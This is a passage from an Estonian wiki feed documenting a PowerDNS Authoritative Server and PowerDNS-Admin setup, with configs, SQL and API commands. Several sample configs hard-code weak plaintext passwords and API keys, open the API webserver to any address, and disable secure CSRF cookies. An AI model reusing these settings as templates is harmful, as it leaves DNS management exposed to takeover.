2024-06-16T16:44:00.906684+03:00 pdns pdns_server[3916]: UDP server bound to [::]:53&lt;br /&gt;
2024-06-16T16:44:00.906735+03:00 pdns pdns_server[3916]: TCP server bound to 0.0.0.0:53&lt;br /&gt;
2024-06-16T16:44:00.906750+03:00 pdns pdns_server[3916]: TCP server bound to [::]:53&lt;br /&gt;
2024-06-16T16:44:00.906866+03:00 pdns pdns_server[3916]: PowerDNS Authoritative Server 4.9.1 (C) PowerDNS.COM BV&lt;br /&gt;
2024-06-16T16:44:00.906881+03:00 pdns pdns_server[3916]: Using 64-bits mode. Built using gcc 12.2.0 on May 28 2024 07:46:05 by root@localhost.&lt;br /&gt;
2024-06-16T16:44:00.906891+03:00 pdns pdns_server[3916]: PowerDNS comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to redistribute it according to the terms of the GPL version 2.&lt;br /&gt;
2024-06-16T16:44:00.915255+03:00 pdns pdns_server[3916]: Polled security status of version 4.9.1 at startup, no known issues reported: OK&lt;br /&gt;
2024-06-16T16:44:00.926644+03:00 pdns pdns_server[3916]: Creating backend connection for TCP&lt;br /&gt;
2024-06-16T16:44:00.935773+03:00 pdns pdns_server[3916]: About to create 3 backend threads for UDP&lt;br /&gt;
2024-06-16T16:44:00.935850+03:00 pdns systemd[1]: Started pdns.service - PowerDNS Authoritative Server.&lt;br /&gt;
2024-06-16T16:44:01.086206+03:00 pdns pdns_server[3916]: Done launching threads, ready to distribute questions&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ühtegi tsooni ei ole kirjeldatud&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:/tmp# pdnsutil list-all-zones&lt;br /&gt;
root@pdns:/tmp# &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PowerDNS seadistamine====&lt;br /&gt;
&lt;br /&gt;
Seadistamisel tegeldakse&lt;br /&gt;
&lt;br /&gt;
* api sisselülitamine (PDA jaoks)&lt;br /&gt;
* SOA kirje vaikeväärtused&lt;br /&gt;
* DNSSEC vaike krüpto&lt;br /&gt;
&lt;br /&gt;
====PowerDNS-Admin paigaldamine - PDA - docker====&lt;br /&gt;
&lt;br /&gt;
PowerDNS-Admin tarvkara töötab docker konteinerina, aga kasutab host arvutist postgresql andmebaasi. Platvorm ettevalmistamine punktis on vajalik kasutaja ja create database tekitatud. PDA kasutamine eeldab, et PDNS juures on sisse lülitatud api liides (vaikimisi http liiklus üle port 8081).&lt;br /&gt;
&lt;br /&gt;
Docker compose fail&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:~# cat docker-compose-pda.yml&lt;br /&gt;
services:&lt;br /&gt;
  svc_pda:&lt;br /&gt;
    image: powerdnsadmin/pda-legacy:v0.4.2&lt;br /&gt;
     &lt;br /&gt;
    container_name: cn_pda&lt;br /&gt;
    restart: always&lt;br /&gt;
    logging:&lt;br /&gt;
      driver: json-file&lt;br /&gt;
      options:&lt;br /&gt;
        max-size: 50m&lt;br /&gt;
    ports:&lt;br /&gt;
      - &amp;quot;9191:80&amp;quot;&lt;br /&gt;
    environment:&lt;br /&gt;
      - SECRET_KEY='saladus'&lt;br /&gt;
      - SQLALCHEMY_DATABASE_URI=postgresql://pda:pdaparool@192.168.10.53/pda&lt;br /&gt;
      - GUNICORN_TIMEOUT=60&lt;br /&gt;
      - GUNICORN_WORKERS=2&lt;br /&gt;
      - GUNICORN_LOGLEVEL=DEBUG&lt;br /&gt;
      - OFFLINE_MODE=False&lt;br /&gt;
      - CSRF_COOKIE_SECURE=False&lt;br /&gt;
 &lt;br /&gt;
    networks:&lt;br /&gt;
      - nw_pda&lt;br /&gt;
       &lt;br /&gt;
networks:&lt;br /&gt;
  nw_pda:&lt;br /&gt;
    name: nw_pda&lt;br /&gt;
    driver: bridge&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Käivitamiseks&lt;br /&gt;
&lt;br /&gt;
 # docker compose -f docker-compose-pda.yml up -d&lt;br /&gt;
&lt;br /&gt;
Tulemusena on aadressil http://192.168.10.53:9191/ PDA webgui sisselogimise ekraan. Pressida Create Account ja esimesena tekitatud kasutaja on admin privileegidega.&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====PowerDNS-Admin paigaldamine - NginX operatsioonisüsteem====&lt;br /&gt;
&lt;br /&gt;
NginX https:// frontend kasutamiseks sobib kasutada sellist seadistust&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:/etc/nginx/sites-enabled# cat /etc/nginx/sites-enabled/pdns &lt;br /&gt;
server {&lt;br /&gt;
    listen 80;&lt;br /&gt;
    server_name pdns.moraal.ee;&lt;br /&gt;
    root /var/www/html;&lt;br /&gt;
 &lt;br /&gt;
    if ($request_uri !~ /.well-known) {&lt;br /&gt;
      return 301 https://pdns.moraal.ee/;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
server {&lt;br /&gt;
    listen 443 ssl http2;&lt;br /&gt;
    server_name pdns.moraal.ee;&lt;br /&gt;
    ssl_certificate /etc/ssl/localcerts/pdns.moraal.ee.pem;&lt;br /&gt;
    ssl_certificate_key /etc/ssl/localcerts/pdns.moraal.ee.key;&lt;br /&gt;
    ssl_session_timeout 1d;&lt;br /&gt;
    ssl_session_cache shared:MozSSL:10m;&lt;br /&gt;
    ssl_session_tickets off;&lt;br /&gt;
    ssl_protocols TLSv1.2 TLSv1.3;&lt;br /&gt;
    ssl_prefer_server_ciphers off;&lt;br /&gt;
    ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-CHACHA20-POLY1305;&lt;br /&gt;
 &lt;br /&gt;
    client_max_body_size 25m;&lt;br /&gt;
 &lt;br /&gt;
    ssl_stapling off;&lt;br /&gt;
    add_header Strict-Transport-Security &amp;quot;max-age=63072000&amp;quot; always;&lt;br /&gt;
 &lt;br /&gt;
    access_log /var/log/nginx/access-pdns.moraal.ee-443.log;&lt;br /&gt;
    root /var/www/html;&lt;br /&gt;
 &lt;br /&gt;
    location / {&lt;br /&gt;
      proxy_set_header Host $http_host;&lt;br /&gt;
      proxy_set_header X-Forwarded-For $remote_addr;&lt;br /&gt;
      proxy_set_header X-Forwarded-Proto https;&lt;br /&gt;
      proxy_pass http://192.168.10.53:9191;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PowerDNS-Admin paigaldamine - NginX docker====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /srv/pdns/volume/nginx/etc/nginx/nginx.conf&lt;br /&gt;
# nginx.conf&lt;br /&gt;
&lt;br /&gt;
user nginx;&lt;br /&gt;
worker_processes auto;&lt;br /&gt;
error_log /dev/stderr;&lt;br /&gt;
pid /var/run/nginx.pid;&lt;br /&gt;
&lt;br /&gt;
events {&lt;br /&gt;
    worker_connections 1024;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
http {&lt;br /&gt;
    include       mime.types;&lt;br /&gt;
    default_type  application/octet-stream;&lt;br /&gt;
&lt;br /&gt;
    log_format  main  '$remote_addr - $remote_user [$time_local] &amp;quot;$request&amp;quot; '&lt;br /&gt;
                      '$status $body_bytes_sent &amp;quot;$http_referer&amp;quot; '&lt;br /&gt;
                      '&amp;quot;$http_user_agent&amp;quot; &amp;quot;$http_x_forwarded_for&amp;quot;';&lt;br /&gt;
    access_log /dev/stdout main;&lt;br /&gt;
&lt;br /&gt;
    sendfile        on;&lt;br /&gt;
    keepalive_timeout  65;&lt;br /&gt;
&lt;br /&gt;
    # Redirect HTTP to HTTPS&lt;br /&gt;
    server {&lt;br /&gt;
        listen 80;&lt;br /&gt;
        server_name _;&lt;br /&gt;
        return 301 https://$host$request_uri;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    # HTTPS Configuration&lt;br /&gt;
    server {&lt;br /&gt;
        listen 443 ssl;&lt;br /&gt;
        server_name _;&lt;br /&gt;
        http2 on;&lt;br /&gt;
        ssl_protocols TLSv1.3;&lt;br /&gt;
        ssl_prefer_server_ciphers on;&lt;br /&gt;
&lt;br /&gt;
        ssl_certificate /etc/ssl/localcerts/ns-pdns-01.auul.pri.ee.crt;&lt;br /&gt;
        ssl_certificate_key /etc/ssl/localcerts/ns-pdns-01.auul.pri.ee.key;&lt;br /&gt;
&lt;br /&gt;
        # Recommended security settings&lt;br /&gt;
        ssl_session_cache shared:SSL:10m;&lt;br /&gt;
        ssl_session_timeout 10m;&lt;br /&gt;
        ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305;&lt;br /&gt;
&lt;br /&gt;
        # Logging&lt;br /&gt;
        access_log /dev/stdout;&lt;br /&gt;
        error_log /dev/stdout;&lt;br /&gt;
&lt;br /&gt;
        # Reverse proxy to the destination&lt;br /&gt;
        location / {&lt;br /&gt;
            proxy_pass http://svc_pdns:8081;&lt;br /&gt;
            proxy_set_header Host $host;&lt;br /&gt;
            proxy_set_header X-Real-IP $remote_addr;&lt;br /&gt;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;&lt;br /&gt;
            proxy_set_header X-Forwarded-Proto $scheme;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
Tulemusena saab pda webgui poole pöörduda aadressiga https://pdns.moraal.ee/.&lt;br /&gt;
&lt;br /&gt;
PDA kasutaja parooli muutmine postgresql baasis, nb rakendus kasutab tabeli nimena 'user', see on postgresql nö built-in objekt ja name clash ületamiseks tuleb pöörduda rakendusega seotud ressursi poole &amp;quot;user&amp;quot; abil, eriti koos skeemi prefiksiga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# su - postgres&lt;br /&gt;
$ psql db_pda&lt;br /&gt;
pda=# select * from public.&amp;quot;user&amp;quot;;&lt;br /&gt;
-[ RECORD 1 ]------------------------------------------------------------&lt;br /&gt;
id         | 1&lt;br /&gt;
username   | admin&lt;br /&gt;
password   | $2y$15$NgdA4JSsKb1RyaiWBdKjcODfgxkwmhMB.95sa07PX/d9a9QxZ/4FF&lt;br /&gt;
firstname  | Imre&lt;br /&gt;
lastname   | Oolberg&lt;br /&gt;
email      | imre.oolberg@auul.pri.ee&lt;br /&gt;
otp_secret | &lt;br /&gt;
role_id    | 1&lt;br /&gt;
confirmed  | f&lt;br /&gt;
..&lt;br /&gt;
&lt;br /&gt;
db_pda=# update public.&amp;quot;user&amp;quot; set password='$2y$15$NgdA4JSsKb1RyaiWBdKjcODfgxkwmhMB.95sa07PX/d9a9QxZ/4FC' where username='admin';&lt;br /&gt;
UPDATE 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kusjuures password väärtus tekitatakse nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ htpasswd -bnBC 15 &amp;quot;&amp;quot; pdaparool | tr -d ':\n'&lt;br /&gt;
$2y$15$NgdA4JSsKb1RyaiWBdKjcODfgxkwmhMB.95sa07PX/d9a9QxZ/4FC&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasutaja lisamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
db_pda=# insert into &amp;quot;user&amp;quot; (username, password, firstname, lastname, email, role_id, confirmed) values ('admin',  '$2b$12$4M9qXQaWn95GTregvSO2v.I/1QQT0/Ayqt3jZsMp06FIa5dMme6Gu', 'Administrator', 'Administrator', 'priit@moraal.ee', 1, 'f');&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
pdns api kontakti lisamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
db_pda=# insert into setting (name, value) values ('pdns_api_url', 'http://192.168.10.80:8081');&lt;br /&gt;
INSERT 0 1&lt;br /&gt;
db_pda=# insert into setting (name, value) values ('pdns_api_key', 'apiparool');&lt;br /&gt;
INSERT 0 1&lt;br /&gt;
db_pda=# insert into setting (name, value) values ('pdns_version', '4.9.11');&lt;br /&gt;
INSERT 0 1&lt;br /&gt;
db_pda=# select * from setting;&lt;br /&gt;
 id |     name     |         value&lt;br /&gt;
----+--------------+------------------------&lt;br /&gt;
  7 | pdns_api_url | http://192.168.10.80:8081&lt;br /&gt;
  8 | pdns_api_key | apiparool&lt;br /&gt;
  9 | pdns_version | 4.9.11&lt;br /&gt;
(3 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PDA kasutamise privileegid====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* Account - grupi taoline moodustis, praktiliselt võiks vastata domeeni omanik asutusele&lt;br /&gt;
* User - kasutaja taoline moodustis, vastab inimesele kes süsteemi kasutab&lt;br /&gt;
* User ja Account vaheliste seoste abil saab anda hulgale kasutajatele õiguse tegeleda hulga domeenidega&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@rv-xxx-01:/opt/pda/dc# docker exec -ti e8 sh&lt;br /&gt;
/app $ ps aux&lt;br /&gt;
PID   USER     TIME  COMMAND&lt;br /&gt;
    1 pda       0:00 {gunicorn} /usr/bin/python3 /usr/bin/gunicorn powerdnsadmin:create_app() -t 60 --workers 2 --bind 0.0.0.0:80 --log-level DEBUG&lt;br /&gt;
    7 pda       0:02 {gunicorn} /usr/bin/python3 /usr/bin/gunicorn powerdnsadmin:create_app() -t 60 --workers 2 --bind 0.0.0.0:80 --log-level DEBUG&lt;br /&gt;
    8 pda       0:01 {gunicorn} /usr/bin/python3 /usr/bin/gunicorn powerdnsadmin:create_app() -t 60 --workers 2 --bind 0.0.0.0:80 --log-level DEBUG&lt;br /&gt;
&lt;br /&gt;
[2025-10-31 13:06:25,927] [record.py:61] ERROR - Cannot fetch zone's record data from remote powerdns api. DETAIL: HTTPSConnectionPool(host='rvxxx-01.test.moraal.ee', port=443): Max retries exceeded with url: /api/v1/servers/localhost/zones/imretest-03.ee (Caused by SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self-signed certificate in certificate chain (_ssl.c:1007)')))&lt;br /&gt;
&lt;br /&gt;
    volumes:&lt;br /&gt;
        #      - /opt/pda/volume/pda/etc/ssl/certs/ca-certificates.crt:/usr/lib/python3.10/site-packages/certifi/cacert.pem&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PDA API liidese kasutamine====&lt;br /&gt;
&lt;br /&gt;
Tsooni tekitamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ curl -s -L -H 'Content-Type: application/json' -H 'Authorization: Basic xxx' -X POST https://pda.moraal.ee/api/v1/pdnsadmin/zones \&lt;br /&gt;
    --data '{&amp;quot;name&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;, &amp;quot;kind&amp;quot;: &amp;quot;MASTER&amp;quot;, &amp;quot;nameservers&amp;quot;: [&amp;quot;ans1.moraal.ee.&amp;quot;, &amp;quot;ans2.moraal.ee.&amp;quot;]}' | jq .&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;account&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
  &amp;quot;api_rectify&amp;quot;: false,&lt;br /&gt;
  &amp;quot;catalog&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
  &amp;quot;dnssec&amp;quot;: false,&lt;br /&gt;
  &amp;quot;edited_serial&amp;quot;: 2026010802,&lt;br /&gt;
  &amp;quot;id&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;,&lt;br /&gt;
  &amp;quot;kind&amp;quot;: &amp;quot;Master&amp;quot;,&lt;br /&gt;
  &amp;quot;last_check&amp;quot;: 0,&lt;br /&gt;
  &amp;quot;master_tsig_key_ids&amp;quot;: [],&lt;br /&gt;
  &amp;quot;masters&amp;quot;: [],&lt;br /&gt;
  &amp;quot;name&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;,&lt;br /&gt;
  &amp;quot;notified_serial&amp;quot;: 0,&lt;br /&gt;
  &amp;quot;nsec3narrow&amp;quot;: false,&lt;br /&gt;
  &amp;quot;nsec3param&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
  &amp;quot;rrsets&amp;quot;: [&lt;br /&gt;
    {&lt;br /&gt;
      &amp;quot;comments&amp;quot;: [],&lt;br /&gt;
      &amp;quot;name&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;,&lt;br /&gt;
      &amp;quot;records&amp;quot;: [&lt;br /&gt;
        {&lt;br /&gt;
          &amp;quot;content&amp;quot;: &amp;quot;ans1.moraal.ee. hostmaster.moraal.ee. 2026010801 86400 7200 2419200 10800&amp;quot;,&lt;br /&gt;
          &amp;quot;disabled&amp;quot;: false&lt;br /&gt;
        }&lt;br /&gt;
      ],&lt;br /&gt;
      &amp;quot;ttl&amp;quot;: 3600,&lt;br /&gt;
      &amp;quot;type&amp;quot;: &amp;quot;SOA&amp;quot;&lt;br /&gt;
    },&lt;br /&gt;
    {&lt;br /&gt;
      &amp;quot;comments&amp;quot;: [],&lt;br /&gt;
      &amp;quot;name&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;,&lt;br /&gt;
      &amp;quot;records&amp;quot;: [&lt;br /&gt;
        {&lt;br /&gt;
          &amp;quot;content&amp;quot;: &amp;quot;ans1.moraal.ee.&amp;quot;,&lt;br /&gt;
          &amp;quot;disabled&amp;quot;: false&lt;br /&gt;
        },&lt;br /&gt;
        {&lt;br /&gt;
          &amp;quot;content&amp;quot;: &amp;quot;ans2.moraal.ee.&amp;quot;,&lt;br /&gt;
          &amp;quot;disabled&amp;quot;: false&lt;br /&gt;
        }&lt;br /&gt;
      ],&lt;br /&gt;
      &amp;quot;ttl&amp;quot;: 3600,&lt;br /&gt;
      &amp;quot;type&amp;quot;: &amp;quot;NS&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
  ],&lt;br /&gt;
  &amp;quot;serial&amp;quot;: 2026010801,&lt;br /&gt;
  &amp;quot;slave_tsig_key_ids&amp;quot;: [],&lt;br /&gt;
  &amp;quot;soa_edit&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
  &amp;quot;soa_edit_api&amp;quot;: &amp;quot;DEFAULT&amp;quot;,&lt;br /&gt;
  &amp;quot;url&amp;quot;: &amp;quot;/api/v1/servers/localhost/zones/zone-moraal-imre-test-01.ee.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kui pole ligipääsu saab sellise vastuse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
% curl -s -L -H 'Content-Type: application/json' -H 'X-API-KEY:  xxx' -X GET &amp;quot;https://pda.moraal.ee/api/v1/servers/localhost/zones/zone-moraal-imre-test-01.ee&amp;quot; | jq .&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;msg&amp;quot;: &amp;quot;Zone access not allowed&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===pdns docker lahendus===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# egrep -v &amp;quot;^$|^#&amp;quot; /etc/powerdns/pdns.conf&lt;br /&gt;
allow-axfr-ips=127.0.0.1,192.168.10.0/24&lt;br /&gt;
allow-notify-from=&lt;br /&gt;
allow-unsigned-notify=yes&lt;br /&gt;
also-notify=&lt;br /&gt;
api=yes&lt;br /&gt;
api-key=saladus&lt;br /&gt;
default-api-rectify=yes&lt;br /&gt;
default-ksk-algorithm=ecdsa256&lt;br /&gt;
default-soa-content=ans1.auu.pri.ee hostmaster.auul.pri.ee 0 86400 7200 2419200 10800&lt;br /&gt;
default-soa-edit=INCEPTION-INCREMENT&lt;br /&gt;
default-soa-edit-signed=INCEPTION-INCREMENT&lt;br /&gt;
default-ttl=3600&lt;br /&gt;
disable-syslog=no&lt;br /&gt;
forward-notify=&lt;br /&gt;
include-dir=/etc/powerdns/pdns.d&lt;br /&gt;
launch=&lt;br /&gt;
local-address=172.30.0.15, 10.30.0.15&lt;br /&gt;
local-port=53&lt;br /&gt;
log-dns-details=yes&lt;br /&gt;
log-dns-queries=yes&lt;br /&gt;
log-timestamp=yes&lt;br /&gt;
loglevel=4&lt;br /&gt;
only-notify=&lt;br /&gt;
primary=yes&lt;br /&gt;
secondary=yes&lt;br /&gt;
webserver=yes&lt;br /&gt;
webserver-address=10.30.0.15&lt;br /&gt;
webserver-allow-from=0.0.0.0/0&lt;br /&gt;
webserver-loglevel=detailed&lt;br /&gt;
webserver-password=saladus&lt;br /&gt;
webserver-port=8081&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===pdns podman lahendus===&lt;br /&gt;
&lt;br /&gt;
PDNS Quadlet Service kirjeldus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ns-pdns-01:~$ cat .config/containers/systemd/pdns-01.container&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=My PDNS Quadlet Service&lt;br /&gt;
DefaultDependencies=no&lt;br /&gt;
After=network.target&lt;br /&gt;
&lt;br /&gt;
[Container]&lt;br /&gt;
Image=docker.io/powerdns/pdns-auth-49:latest&lt;br /&gt;
PublishPort=1053:8053/tcp&lt;br /&gt;
PublishPort=1053:8053/udp&lt;br /&gt;
ContainerName=pdns-01&lt;br /&gt;
Volume=%h/volume/pdns/etc/powerdns/pdns.conf:/etc/powerdns/pdns.conf:ro&lt;br /&gt;
Environment=PDNS_local_port=8053&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This tells systemd to start it when you log in&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning pdns.conf seadistusfail&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /opt/pdns/volume/pdns/etc/powerdns/pdns.conf&lt;br /&gt;
local-address=0.0.0.0&lt;br /&gt;
launch=&lt;br /&gt;
# include-dir=/etc/powerdns/pdns.d&lt;br /&gt;
api=yes&lt;br /&gt;
api-key=parool&lt;br /&gt;
webserver=yes&lt;br /&gt;
webserver-address=0.0.0.0&lt;br /&gt;
webserver-allow-from=0.0.0.0/0&lt;br /&gt;
&lt;br /&gt;
#master=yes&lt;br /&gt;
&lt;br /&gt;
primary=yes&lt;br /&gt;
secondary=yes&lt;br /&gt;
allow-axfr-ips= 100.20.21.0/24,127.0.0.1/32,172.17.0.0/16&lt;br /&gt;
also-notify=192.168.1.150&lt;br /&gt;
only-notify=&lt;br /&gt;
forward-notify=&lt;br /&gt;
default-soa-content=ans1.auul.pri.ee hostmaster.auul.pri.ee 0 86400 7200 2419200 10800&lt;br /&gt;
default-soa-edit=INCEPTION-INCREMENT&lt;br /&gt;
default-soa-edit-signed=INCEPTION-INCREMENT&lt;br /&gt;
default-ttl=3600&lt;br /&gt;
&lt;br /&gt;
default-ksk-algorithm=ecdsa256&lt;br /&gt;
default-api-rectify=yes&lt;br /&gt;
# default-nsec3-param=1 0 0 -&lt;br /&gt;
&lt;br /&gt;
launch+=gpgsql&lt;br /&gt;
gpgsql-dnssec=yes&lt;br /&gt;
gpgsql-extra-connection-parameters=password=parool dbname=db_pdns port=5432 user=pdns host=192.168.1.147&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Tsooni migreerimine pädeva pdns peale===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* SOA-EDIT - &lt;br /&gt;
&lt;br /&gt;
====Protseduur====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Käsundamine====&lt;br /&gt;
&lt;br /&gt;
Eksport&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pdnsutil show-zone moraal.ee&lt;br /&gt;
# pdnsutil export-zone-key moraal.ee 17 &amp;gt; moraal.ee.ksk&lt;br /&gt;
# pdnsutil list-zone moraal.ee &amp;gt; moraal.ee.zone&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Import&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pdnsutil load-zone moraal.ee.zone&lt;br /&gt;
# pdnsutil set-kind moraal.ee master&lt;br /&gt;
# pdnsutil set-meta moraal.ee SOA-EDIT-API DEFAULT&lt;br /&gt;
# pdnsutil set-meta moraal.ee SOA-EDIT INCEPTION-DEFAULT&lt;br /&gt;
# pdnsutil import-zone-key moraal.ee moraal.ee.ksk ksk&lt;br /&gt;
# pdnsutil set-nsec3 moraal.ee '1 0 0 -'&lt;br /&gt;
# pdnsutil rectify-zone moraal.ee&lt;br /&gt;
# pdnsutil show-zone moraal.ee&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Käsundamine - 2nd abil====&lt;br /&gt;
&lt;br /&gt;
Tekitatakse migreeritava tsooni sekundaar&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pdnsutil create-secondary-zone moraal.ee 192.168.1.148&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* https://www.powerdns.com/&lt;br /&gt;
* http://www.poweradmin.org/&lt;br /&gt;
* https://github.com/PowerDNS/pdns/wiki/WebFrontends&lt;br /&gt;
* http://jpmens.net/2010/10/29/alternative-dns-servers-the-book-as-pdf/&lt;br /&gt;
* https://blog.powerdns.com/2016/02/02/powerdns-authoritative-the-new-old-way-to-manage-domains/&lt;br /&gt;
* https://www.cloudflare.com/dns/dnssec/how-dnssec-works/&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=PowerDNS_Authoritative_Server_nimeserveri_kasutamine&amp;diff=4240</id>
		<title>PowerDNS Authoritative Server nimeserveri kasutamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=PowerDNS_Authoritative_Server_nimeserveri_kasutamine&amp;diff=4240"/>
		<updated>2026-06-17T10:36:50Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Tsooni migreerimine pädeva pdns peale */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
PowerDNS https://www.powerdns.com/ on üks populaarsetest vaba tarkvaralistest nn alternatiivsetest DNS serveritest, kuigi 'alternatiivse' kohta väidetavalt teda kasutatakse väga massiliselt DNSSEC jaoks. PowerDNS tarkvara võimaldab pidada täielist DNS infrastruktuuri, sh slave ja master pädevate nimeserverite erinevad konfiguratsioonid. PowerDNS tarkvara komplekti kuuluvad&lt;br /&gt;
&lt;br /&gt;
* PowerDNS Authoritative Server - pädev nimeserver&lt;br /&gt;
* PowerDNS Recursor - rekursiivne nimeserver&lt;br /&gt;
* dnsdist - koormusjaotur&lt;br /&gt;
&lt;br /&gt;
PowerDNS Authoritative Server tarkvaral on sellised tunnused&lt;br /&gt;
&lt;br /&gt;
* võimalus kasutada andmete salvestamiseks erinevaid nn backend'isid (nn plain text, sql andmebaas, ldap kataloog jne)&lt;br /&gt;
* väga mugavalt korraldada DNSSEC tsooni pidamist&lt;br /&gt;
* DNSSEC puhul on PowerDNS tarkvarale iseloomulik, et kõik DNSSEC moodustatakse käigult, st midagi ei ole salvestatud (well, midagi puhverdatakse, aga rrsig moodi kirjeid jms ei hoita nö tsoonifaili kujul)&lt;br /&gt;
* tsoonide käsitlemine (tekitamine, sisu muutmine, eemaldamine) on võimalik üle nn API&lt;br /&gt;
* eksisteerivad mitmesugused veebipõhised tsoonide haldusliidesed (otse baasi ja üle API)&lt;br /&gt;
* ebamugav on kontrollida, kust tsooni kopeeritakse, kuhu notify saadetakse ja kust lubatakse tsooni kopeerida&lt;br /&gt;
&lt;br /&gt;
Haldusliidesed jagunevad kaheks&lt;br /&gt;
&lt;br /&gt;
* kirjutavad otse samasse sql baasi, mida kasutab PowerDNS ja tegelikult töötavadki ainult SQL backendide puhul - nt Poweradmin, http://www.poweradmin.org/&lt;br /&gt;
